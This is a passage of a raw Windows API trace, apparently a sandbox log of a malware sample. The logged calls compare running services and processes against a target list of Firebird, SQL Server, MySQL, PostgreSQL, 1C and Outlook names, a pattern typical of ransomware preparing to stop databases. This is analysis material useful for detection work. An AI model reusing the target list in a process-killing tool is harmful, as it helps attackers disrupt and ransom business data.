(lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0136.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0136.959] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0136.959] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0136.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0136.959] lstrlenW (lpString="gpsvc") returned 5 [0136.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0136.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0136.960] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0136.960] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0136.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0136.960] lstrlenW (lpString="LanmanWorkstation") returned 17 [0136.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0136.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0136.960] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0136.960] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0136.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0136.960] lstrlenW (lpString="lmhosts") returned 7 [0136.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0136.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0136.960] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0136.960] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0136.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0136.960] lstrlenW (lpString="MMCSS") returned 5 [0136.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0136.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0136.960] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0136.960] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0136.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0136.960] lstrlenW (lpString="MpsSvc") returned 6 [0136.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0136.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0136.960] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0136.960] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0136.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0136.960] lstrlenW (lpString="NlaSvc") returned 6 [0136.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0136.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0136.960] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0136.960] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0136.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0136.960] lstrlenW (lpString="nsi") returned 3 [0136.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0136.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0136.961] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0136.961] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0136.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0136.961] lstrlenW (lpString="PcaSvc") returned 6 [0136.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0136.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0136.961] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0136.961] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0136.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0136.961] lstrlenW (lpString="PlugPlay") returned 8 [0136.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0136.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0136.961] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0136.961] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0136.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0136.961] lstrlenW (lpString="Power") returned 5 [0136.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0136.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0136.961] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0136.961] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0136.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0136.961] lstrlenW (lpString="ProfSvc") returned 7 [0136.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0136.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0136.961] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0136.961] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0136.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0136.961] lstrlenW (lpString="RpcEptMapper") returned 12 [0136.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0136.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0136.961] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0136.961] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0136.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0136.961] lstrlenW (lpString="RpcSs") returned 5 [0136.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0136.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0136.962] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0136.962] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0136.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0136.962] lstrlenW (lpString="SamSs") returned 5 [0136.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0136.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0136.962] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0136.962] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0136.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0136.962] lstrlenW (lpString="Schedule") returned 8 [0136.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0136.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0136.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0136.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0136.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0136.962] lstrlenW (lpString="SENS") returned 4 [0136.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0136.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0136.962] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0136.962] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0136.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0136.962] lstrlenW (lpString="ShellHWDetection") returned 16 [0136.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0136.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0136.962] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0136.962] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0136.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0136.962] lstrlenW (lpString="Spooler") returned 7 [0136.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0136.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0136.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0136.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0136.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0136.963] lstrlenW (lpString="Themes") returned 6 [0136.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0136.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0136.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0136.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0136.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0136.963] lstrlenW (lpString="UxSms") returned 5 [0136.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0136.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0136.963] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0136.963] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0136.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0136.963] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0136.963] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0136.965] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.965] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0136.966] lstrlenW (lpString="System") returned 6 [0136.966] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0136.966] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0136.966] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0136.966] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0136.966] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0136.966] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0136.966] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0136.966] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0136.966] lstrlenW (lpString="smss.exe") returned 8 [0136.966] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0136.966] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0136.966] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0136.966] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0136.966] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0136.966] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0136.966] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0136.966] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0136.967] lstrlenW (lpString="csrss.exe") returned 9 [0136.967] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0136.967] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0136.967] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0136.967] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0136.967] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0136.967] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0136.967] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0136.967] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0136.967] lstrlenW (lpString="wininit.exe") returned 11 [0136.967] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0136.967] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0136.968] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0136.968] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0136.968] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0136.968] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0136.968] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0136.968] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0136.968] lstrlenW (lpString="csrss.exe") returned 9 [0136.968] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0136.968] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0136.968] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0136.968] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0136.968] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0136.968] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0136.968] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0136.968] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0136.968] lstrlenW (lpString="winlogon.exe") returned 12 [0136.968] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0136.968] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0136.969] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0136.969] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0136.969] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0136.969] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0136.969] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0136.969] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0136.969] lstrlenW (lpString="services.exe") returned 12 [0136.969] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0136.969] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0136.969] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0136.969] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0136.969] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0136.969] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0136.969] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0136.969] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0136.969] lstrlenW (lpString="lsass.exe") returned 9 [0136.969] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0136.969] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0136.970] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0136.970] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0136.970] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0136.970] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0136.970] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0136.970] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0136.970] lstrlenW (lpString="lsm.exe") returned 7 [0136.970] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0136.970] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0136.970] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0136.970] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0136.970] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0136.970] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0136.970] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0136.970] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.970] lstrlenW (lpString="svchost.exe") returned 11 [0136.970] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.971] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.971] lstrlenW (lpString="svchost.exe") returned 11 [0136.971] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.971] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.971] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.971] lstrlenW (lpString="svchost.exe") returned 11 [0136.971] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.972] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.972] lstrlenW (lpString="svchost.exe") returned 11 [0136.972] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.972] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.972] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.973] lstrlenW (lpString="svchost.exe") returned 11 [0136.973] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.973] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.973] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.973] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0136.973] lstrlenW (lpString="audiodg.exe") returned 11 [0136.973] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.973] lstrlenW (lpString="svchost.exe") returned 11 [0136.973] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0136.974] lstrlenW (lpString="userinit.exe") returned 12 [0136.974] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0136.974] lstrlenW (lpString="explorer.exe") returned 12 [0136.974] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0136.974] lstrlenW (lpString="dwm.exe") returned 7 [0136.974] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.975] lstrlenW (lpString="svchost.exe") returned 11 [0136.975] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0136.975] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0136.975] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0136.975] lstrlenW (lpString="spoolsv.exe") returned 11 [0136.975] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0136.976] lstrlenW (lpString="dllhost.exe") returned 11 [0136.976] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, 